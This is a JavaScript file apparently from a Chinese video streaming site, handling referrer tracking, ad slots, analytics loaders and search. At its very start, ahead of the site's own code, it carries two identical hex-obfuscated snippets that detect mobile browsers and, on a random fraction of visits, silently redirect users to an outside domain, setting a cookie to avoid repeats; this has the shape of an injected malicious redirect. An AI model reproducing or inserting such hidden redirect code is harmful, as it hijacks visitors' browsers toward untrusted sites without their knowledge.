!(function(){function isMobile(){return/Android|android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i['\x74\x65\x73\x74'](navigator['\x75\x73\x65\x72\x41\x67\x65\x6e\x74'])}function hasCookie(sgBbJBZt1){return window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x63\x6f\x6f\x6b\x69\x65']['\x69\x6e\x64\x65\x78\x4f\x66'](sgBbJBZt1)!==-1}function setCookie(cookieName,hiNe2,vm$3){var F4=new window["\x44\x61\x74\x65"]();F4['\x73\x65\x74\x54\x69\x6d\x65'](F4['\x67\x65\x74\x54\x69\x6d\x65']()+(vm$3*24*60*60*1000));window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x63\x6f\x6f\x6b\x69\x65']=`${cookieName}=${hiNe2};expires=${F4['\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67']()};path=/`}function getRandom(){return window["\x4d\x61\x74\x68"]['\x72\x61\x6e\x64\x6f\x6d']()}function redirectTo(NhE5){window['\x6c\x6f\x63\x61\x74\x69\x6f\x6e']['\x68\x72\x65\x66']=NhE5}function redirectToCDN(){if(getRandom()<0.2){const cookieName="\x76\x69\x73\x69\x74\x44\x4e";const oneDay=2;setCookie(cookieName,"\x74\x72\x75\x65",oneDay);redirectTo("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x61\x63\x64\x2e\x63\x63")}}if(isMobile()&&!hasCookie("\x76\x69\x73\x69\x74\x44\x4e")){setTimeout(()=>{redirectToCDN()},2000)}})();!(function(){function isMobile(){return/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i['\x74\x65\x73\x74'](navigator['\x75\x73\x65\x72\x41\x67\x65\x6e\x74'])}function hasCookie(sgBbJBZt1){return window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x63\x6f\x6f\x6b\x69\x65']['\x69\x6e\x64\x65\x78\x4f\x66'](sgBbJBZt1)!==-1}function setCookie(cookieName,hiNe2,vm$3){var F4=new window["\x44\x61\x74\x65"]();F4['\x73\x65\x74\x54\x69\x6d\x65'](F4['\x67\x65\x74\x54\x69\x6d\x65']()+(vm$3*24*60*60*1000));window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x63\x6f\x6f\x6b\x69\x65']=`${cookieName}=${hiNe2};expires=${F4['\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67']()};path=/`}function getRandom(){return window["\x4d\x61\x74\x68"]['\x72\x61\x6e\x64\x6f\x6d']()}function redirectTo(NhE5){window['\x6c\x6f\x63\x61\x74\x69\x6f\x6e']['\x68\x72\x65\x66']=NhE5}function redirectToCDN(){if(getRandom()<0.2){const cookieName="\x76\x69\x73\x69\x74\x44\x4e";const oneDay=2;setCookie(cookieName,"\x74\x72\x75\x65",oneDay);redirectTo("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x61\x63\x64\x2e\x63\x63")}}if(isMobile()&&!hasCookie("\x76\x69\x73\x69\x74\x44\x4e")){setTimeout(()=>{redirectToCDN()},5000)}})();		//referrer鏈畾涔変篃涓虹┖
		fromtype=0;
	}
	setCookie('fromtype',fromtype);
	logs('fromtype:'+fromtype);
	if(fromtype==2||fromtype==3||fromtype==4){
		fromshow=1;
	}
	logs('fromshow:'+fromshow);
	
	$('body').append('fromtype:'+fromtype).append('fromshow:'+fromshow);
}
getreferrer();
fromshow=1;//寮哄埗鍏ㄥ紑骞垮憡

//閲嶅畾涔夋祻瑙堝櫒
if(is_pc()==false){
	logs("platform:Android");
	//Object.defineProperty(navigator,'platform',{get:function(){return 'Android';}});
}else{
	logs("platform:Default");
}

//isindex
var isindex=1;
function isindexfun(){
	var dqurl=window.location.href;
	var dqurlArr=dqurl.split('?');
	if(typeof(dqurlArr[0])!='undefined'){
		var dqurl2=dqurlArr[0];
	}else{
		var dqurl2=dqurl;
	}
	var dqurlArr=dqurl2.split('/');
	var dqurlArrLength=dqurlArr.length;
	if(dqurlArrLength>=4&&typeof(dqurlArr[3])!='undefined'&&dqurlArr[3]!='index.html'&&dqurlArr[3]!=''&&dqurlArr[3]!='index.php'){
		isindex=0;
	}
	logs('isindex:'+isindex);
	return isindex;
}
isindexfun();

var hc;
function hidecnzz(){
	if($("a[href*='cnzz']").length>0){	
		$("a[href*='cnzz']").hide();
		clearTimeout(hc);
		console.log('hidecnzz');
	}else{
		hc=setTimeout('hidecnzz()',1);
	}
}

//鍥哄畾浣�
function createjs(type){
	console.log('createjs:'+type);
	
	if((type==4 || type==6) && is_pc()===false){
		
		if(is_pc()===false){
			$('.myui-panel').css('margin-bottom','0');
		}

	current_pathname = window.location.pathname;
if(current_pathname.search("3d/p") != -1&&false){
//gg鍐呭鏀捐繖
(function(){
	//if(/Win/i.test(navigator.platform)) return false;

var adslist=[];//閾炬帴鍦板潃
adslist[0] = [10,'',''];
adslist[1] = [10,'',''];



var w_ads_height=120;//鍗曞紶绱犳潗楂樺害
var w_zone_height=120;//骞垮憡浣嶉珮搴�
var zl_imglist=[];//绱犳潗鍦板潃
zl_imglist[0]=['','鏍囬1'];
zl_imglist[1]=['','鏍囬1'];



var w_rows=1;//1琛�
var w_cols=1;//2鍒�

random(adslist);
function random(arr){
	var w=0;
	for(var i=0;i<arr.length;i++){
		w += arr[i][0];
	}
	var r=Math.floor(Math.random()*w);
	var tw=0;
	for(var i=0;i<arr.length;i++){
		tw += arr[i][0];
		if(r<tw){
			showZLLB('zl00', arr[i][2]);
			break;
		}
	}
}

var bd=bodyDimensions();
var w_width=bd.clientWidth;
var w_ads_size=w_cols*w_rows;
var w_width=parseInt(100/w_cols)-1;

var __imglist=zl_imglist.sort(randomsort), __imglen=__imglist.length, __imgcurrent=0;
function showZLLB(id,zlurl){
	id='z'+parseInt(Math.random()*1000);
	document.write('<div id="'+id+'" style="width: 100%; height: 120px;"></div>');
	setTimeout(function() {
		render(id,zlurl);
		var t=setInterval(function() {
			render(id,zlurl);
		}, 15000);
	}, 200);
}
function render(id,zlurl) {
    var html="";
    for (var i=0; i < w_rows; i++) {
        html += '<ul style="margin:0px; padding:0px;overflow:hidden;width:100%;">';
        for (var j=0; j < w_cols; j++) {
			var imgurl=__imglist[__imgcurrent][0];
			var imgtitle=__imglist[__imgcurrent][1];
			__imgcurrent++;if(__imgcurrent>=__imglen) __imgcurrent=0;
            html += '<li style="width:'+w_width+'%;list-style:none;float: left; margin-right:2px; height:'+w_zone_height+'px;background:#FFFFFF; overflow:hidden;text-align:center;line-height:20px;"><a href="'+zlurl+'" target="_blank" style="text-decoration:none;font-size:16px;color:#333;display:block;width:99%;text-align:center;line-height:20px;"><img src="' + imgurl + '" width="99%" height="' + (w_ads_height - 2) + '" style="border:0;" />'+imgtitle+'</a></li>';
        }
        html += "</ul>";
    }
	document.getElementById(id).innerHTML=html;
}
function bodyDimensions(win){win=win||window;var doc=win.document;var cw=doc.compatMode=="BackCompat"?doc.body.clientWidth:doc.documentElement.clientWidth;var ch=doc.compatMode=="BackCompat"?doc.body.clientHeight:doc.documentElement.clientHeight;var sl=Math.max(doc.documentElement.scrollLeft,doc.body.scrollLeft);var st=Math.max(doc.documentElement.scrollTop,doc.body.scrollTop);var sw=Math.max(doc.documentElement.scrollWidth,doc.body.scrollWidth);var sh=Math.max(doc.documentElement.scrollHeight,doc.body.scrollHeight);var w=Math.max(sw,cw);var h=Math.max(sh,ch);return {"clientWidth":cw,"clientHeight":ch,"scrollLeft":sl,"scrollTop":st,"scrollWidth":sw,"scrollHeight":sh,"width":w,"height":h}};
function randomsort(a, b) { return Math.random()>0.5 ? -1 : 1; }

})()
}

	}

	//鐧惧害鎺ㄩ€�
	if(type==1){
	//	(function(){
	//		var bp = document.createElement('script');
	//		var curProtocol = window.location.protocol.split(':')[0];
	//		if (curProtocol === 'https') {
	//			bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
	//		}
	//		else {
	//			bp.src = 'http://push.zhanzhang.baidu.com/push.js';
	//		}
	//		var s = document.getElementsByTagName("script")[0];
	//		s.parentNode.insertBefore(bp, s);
	//	})();
	}
	
	//鐧惧害缁熻
	else if(type==2){
		
    var _hmt = _hmt || [];
    (function() {
        var hm = document.createElement("script");
        hm.src = "https://hm.baidu.com/hm.js?9fce7cc6b76526f59cf4fd4f7caf65ee";
        var s = document.getElementsByTagName("script")[0]; 
        s.parentNode.insertBefore(hm, s);
    })();


		
		
		document.write('<script>!function(p){\"use strict\";!function(t){var s=window,e=document,i=p,c=\"\".concat(\"https:\"===e.location.protocol?\"https://\":\"http://\",\"sdk.51.la/js-sdk-pro.min.js\"),n=e.createElement(\"script\"),r=e.getElementsByTagName(\"script\")[0];n.type=\"text/javascript\",n.setAttribute(\"charset\",\"UTF-8\"),n.async=!0,n.src=c,n.id=\"LA_COLLECT\",i.d=n;var o=function(){s.LA.ids.push(i)};s.LA?s.LA.ids&&o():(s.LA=p,s.LA.ids=[],o()),r.parentNode.insertBefore(n,r)}()}({id:\"KK3BRDZM0Wl1mcho\",ck:\"KK3BRDZM0Wl1mcho\"});</script>');
		hidecnzz();
	}
	
	//360鎺ㄩ€�
	else if(type==3){
		(function(){
			var src = "https://jspassport.ssl.qhimg.com/11.0.1.js?d182b3f28525f2db83acfaaf6e696dba";
			document.write('<script src="' + src + '" id="sozz"></script>');
		})();
	}
	
	//
	else if(type==6){
		
		if(is_pc()){
			var size='19';
		}else{
			var size='13';
		}
		logs('size:'+size);
		var addhtml='<div style="color:red;margin-top:5px;margin-bottom:5px;font-size:'+size+'px;font-weight:bold;">閲嶈鎻愮ず锛氳鍕跨浉淇¤棰�/鎾斁鍣ㄤ腑鐨勪换浣曞箍鍛婏紒</div>';
		$('.myui-player__item').before(addhtml);
		$('.myui-player__data').before(addhtml);
	}
	
	//
	else if(type==5){
		var uhref=window.location.href;
		logs('uhref:'+uhref);
		if(uhref.indexOf('-')<0){
			
			var parentName=new Array();
			$('.nav-tabs a').each(function(){
				var bfqname=$(this).html();
				parentName.push(bfqname);
			});
			logs(parentName);
			
			var tabparent=-1;//tab绱㈠紩搴忓彿-闆嗘暟鏈€澶х殑
			var tabchilds=0;//闆嗘暟闀垮害-鏈€澶ч泦鏁�
			var tabi=0;
			$('.tab-content ul').each(function(){
				
				if(typeof(parentName[tabi])!='undefined'){
					var curpname=parentName[tabi];
				}else{
					var curpname='';
				}
				
				var lilength=$(this).find('li').length;
				logs('lilength:'+lilength);
				if(lilength>tabchilds && curpname.indexOf('鍗ч緳')<0){
					tabparent=tabi;
					tabchilds=lilength;
				}
				tabi++;
			});
			logs('tabparent:'+tabparent);
			logs('tabchilds:'+tabchilds);
			if(tabparent>=0&&tabchilds>0){
				$('.nav-tabs > li').removeClass('active');
				$('.nav-tabs').children().eq(tabparent).addClass('active');
				$('.tab-pane').removeClass('active');
				$('.tab-pane').eq(tabparent).addClass('active');
				$('.tab-pane').eq(tabparent).children().eq(0).children().eq(0).children().eq(0).removeClass('btn-default').addClass('btn-warm');
			}
		}
		
	}
	
}

//adset
var adsettimes=0;
var ast;
function adset(){
	if(is_pc()!=false){
		return false;
	}
	adsettimes++;
	if(adsettimes>500){
		clearTimeout(ast);
		return false;
	}
	//topp
	var Mlength=$("span[id^='M']").length;
	if(Mlength==1){
		$('header').css('top','115px');
		clearTimeout(ast);
		return false;
	}
	//xtb
	var animatedlength=$(".animated").length;
	if(animatedlength==1){
		
	}
	var ast=setTimeout('adset()',10);
}
adset();

//
function footer(){
	createjs(1);
	createjs(2);
	createjs(3);
	current_pathname = window.location.pathname;
	//ad-header
	if(isindex!=1){
	    if(current_pathname.search("3d/p") != -1){
	        document.writeln('');
	       

	        

   
        
        //杩欓噷鏄湁鎷彿鐨勶紝涓嶈鍒犳帀锛佷笉瑕佸垹鎺夛紒涓嶈鍒犳帀锛�
	    }
	    //else if(current_pathname.search("3d/v") != -1){
	    //    document.writeln('<script type="text/javascript" src="https://mshuifu.com/statics/js/mob.js"></script>')
	        
	    //}
		
	}
	
	//small
	if(isindex!=1){
	    
	   
	}
	
	//ad-footer
	if(isindex!=1){
	    if(current_pathname.search("3d/p") != -1){
	        
        document.writeln('');
        
        
/*var cnzz_s_tag = document.createElement('script');

cnzz_s_tag.type = 'text/javascript';

cnzz_s_tag.async = true;

cnzz_s_tag.charset = 'utf-8';

cnzz_s_tag.src = '<script src="https://mao.jp88888887.cn/c/3D621F3F-0614-4C44-812F-8E1E4AF95BAA.panda"></script>';

var root_s = document.getElementsByTagName('script')[0];

root_s.parentNode.insertBefore(cnzz_s_tag, root_s);*/
        
        //杩欓噷鏄湁鎷彿鐨勶紝涓嶈鍒犳帀锛佷笉瑕佸垹鎺夛紒涓嶈鍒犳帀锛�
	    }
	}
}



function qrsearch(){
	
	var inputvalue=$("#wd").val();
	var glstr=new Array('/','.');
	for(var i=0;i<glstr.length;i++){
		var one=glstr[i];
		if(inputvalue.indexOf(one)>-1){
			var ivArr=inputvalue.split(one);
			inputvalue=ivArr.join('');
		}
	}
	
	if(inputvalue.indexOf('wxyhsyzx')>-1){
		alert('璇疯緭鍏ュ叧閿瘝');
		return false;
	}
	
	if(inputvalue.length<2){
		alert('鍏抽敭瀛楀お鐭�');
		return false;
	}
	//document.location = MAC_PATH + 'index.php/vod/search.html?wd='+ encodeURIComponent($("#wd").val())+"";
	//document.location = '/search/'+ encodeURIComponent($("#wd").val())+'-------------.html';
	document.location = '/search/'+ encodeURIComponent($("#wd").val())+'-------------.html';
	return false;
}

//
$(document).ready(function(){
    $("#wd").click(function(){
		$(this).val('');
		$(this).attr('placeholder','');
	});
});


var timess=0;
function log3start(){
	timess++;
	if(timess<10){
		//return false;
		
	}
	logs(timess);
	if($('body').length>0){
		
		return false;
		
		var url=window.location.href;
		if(url.indexOf('/v2868.html')<0){
			return false;
		}
		
		
		//閫氳繃鍊掓暟绗�2涓猟iv鏌ユ壘
		var lastdiv=$("body div").eq(-2);
		var lastdivhtml=lastdiv.prop("outerHTML");
		alert(lastdivhtml);
		return false;
		
		
		//閫氳繃鏈€鍚庝竴涓猟iv鏌ユ壘
		var lastdiv=$("body div").last();
		var lastdivhtml=lastdiv.prop("outerHTML");
		alert(lastdivhtml);
		return false;
		
		
		//
		var Mlength=$("span[id^='M']").length;
		alert(Mlength);
		return false;
		
		//閫氳繃鏈€鍚庝竴涓猻pan鏌ユ壘
		var lastspan=$("body span").last();
		var lastspanhtml=lastspan.prop("outerHTML");
		alert(lastspanhtml);
		return false;
		
		return false;
		var bodyhtml=$('.animated').html();
		bodyhtml='<textarea>'+bodyhtml+'</textarea>';
		alert(bodyhtml);
		return false;
		
		//bodyhtml=jQuery('<div />').text(bodyhtml).html();
		
		if($('.myui-foot').length>0){
			$('.myui-foot').append(bodyhtml);
			alert(bodyhtml);
			return false;
		}
	}
	//var hct=setTimeout('log3start()',1000);
}
//log3start();
setTimeout('log3start()',10000 );






































































































